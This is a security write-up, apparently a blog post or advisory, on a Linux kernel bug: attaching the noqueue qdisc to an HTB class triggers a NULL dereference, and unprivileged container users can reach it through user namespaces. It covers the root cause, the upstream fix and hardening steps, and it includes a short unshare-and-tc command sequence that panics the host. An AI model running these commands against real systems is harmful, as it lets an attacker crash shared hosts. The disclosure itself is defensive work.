Noqueue qdisc class assignment can panic the kernel
User namespaces are the foundation for container tools like Docker and Podman, letting unprivileged users operate with root-like privileges inside a sandboxed environment. This capability carries inherent risk: kernel code that assumes root privileges can be reached by unprivileged users through namespace manipulation, often exposing under-tested paths. A bug in Linux Traffic Control's queue discipline handling demonstrates this class of problem, allowing an unprivileged user to trigger a kernel panic and perform a denial of service attack.
The noqueue contradiction
Linux Traffic Control lets administrators shape and schedule network packets through configurable queue disciplines (qdiscs). The noqueue qdisc is documented as a drop policy for packets scheduled into it, and its documentation explicitly states that it cannot be assigned to physical devices or classes. In practice, Linux treats noqueue as pass-through for most cases rather than dropping packets.
The mismatch between documentation and implementation creates an exploitable condition when noqueue is attached to a class in a classful qdisc such as the Hierarchy Token Bucket (HTB). Setting up a root qdisc with HTB, adding a class leaf node, and assigning noqueue to that leaf produces a kernel panic:
BUG: kernel NULL pointer dereference, address: 0000000000000000
#PF: supervisor instruction fetch in kernel mode
...
Call Trace:
<TASK>
htb_enqueue+0x1c8/0x370
dev_qdisc_enqueue+0x15/0x90
__dev_queue_xmit+0x798/0xd00
...
</TASK>
Root users crashing the kernel is not itself a notable vulnerability, and the initial report to the kernel mailing lists in 2019 did not attract much attention. Re-examination in 2022, however, revealed the bug could be triggered through user namespaces, which meant unprivileged users in containers could crash the host.
Triggering with unprivileged access
The exploit works with any classful qdisc that assumes a non-NULL struct Qdisc.enqueue function pointer. HTB serves as the demonstration case:
$ unshare -rU –net
$ dev=lo
$ tc qdisc replace dev $dev root handle 1: htb default 1
$ tc class add dev $dev parent 1: classid 1:1 htb rate 10mbit
$ tc qdisc add dev $dev parent 1:1 handle 10: noqueue
$ ping -I $dev -w 1 -c 1 1.1.1.1
Using the loopback interface demonstrates the bug is reachable through virtual interfaces, which is how containers receive their network connectivity. The permissions check that normally protects physical interface configuration is absent when a user namespace grants CAP_NET_ADMIN inside its own network namespace. A containerized unprivileged attacker can therefore configure traffic control on its virtual interfaces and panic the host kernel.
Where the NULL dereference comes from
The root cause traces to commit d66d6c3152e8 (“net: sched: register noqueue qdisc”), which changed how noqueue is attached to interfaces. Previously, a device with tx_queue_len = 0 received the noqueue qdisc implicitly. The commit allowed explicit assignment via the tc command.
The kernel determines whether a device is in noqueue mode by checking if the qdisc's enqueue() function is NULL. To make this check work, the commit reassigns noop_enqueue() to NULL inside the noqueue qdisc initialization, but this reassignment happens after register_qdisc() runs. When a classful qdisc like HTB chains its own htb_enqueue() onto a leaf that has been assigned noqueue, it later performs a qdisc lookup and calls enqueue() on the result, assuming the function pointer is valid:
static inline int qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch,
struct sk_buff **to_free)
{
qdisc_calculate_pkt_len(skb, sch);
return sch->enqueue(skb, sch, to_free); // sch->enqueue == NULL
}
Because validation happens when a qdisc is attached to an interface, not when packets are enqueued, the classful qdisc has no reason to expect a NULL function pointer at runtime.
Choosing a fix
The proposed solutions ranged from strict to permissive:
- Disallow
noqueueassignment to classful qdisc classes entirely - Change the noqueue detection check from NULL to
struct noqueue_qdisc_ops, resetting tonoop_enqueuebehavior - Add NULL checks and fallback logic to every classful qdisc implementation
The per-class fallback approach would create significant code churn and would not protect against future qdisc implementations forgetting the NULL check. The second option fails on behavioral grounds: noqueue on a root interface acts as pass-through, but a class leaf inside HTB already has its own fallback semantics via HTB_DIRECT or pfifo_fast. Defining the correct fallback for each class type quickly becomes ambiguous.
The maintainers accepted the first option, shipping commit 96398560f26a (“disallow noqueue for qdisc classes”). This approach aligns kernel behavior with the existing documentation and removes the NULL dereference path without introducing new queueing semantics.
Practical hardening steps
Systems should apply the upstream fix as soon as possible. Additional hardening for user namespace exposure reduces the attack surface:
sysctl -w kernel.unprivileged_userns_clone=0restricts user namespace creation to root on Debian kernelssysctl -w user.max_user_namespaces=[number]caps namespace creation per process hierarchy- The
security_create_user_ns()LSM hook (with its SELinux implementation, now in Linux 6.1.x) allows eBPF or SELinux policy enforcement on namespace creation - Setting
CONFIG_USERNS=ndisables user namespaces entirely for deployments that do not require them
This bug is one instance of a recurring pattern where kernel facilities reachable through user namespaces expose assumptions that only hold under true root privilege. Patching this specific NULL dereference addresses the immediate risk, but the broader exposure of network and scheduling code to namespace-scoped administrators warrants continued scrutiny.



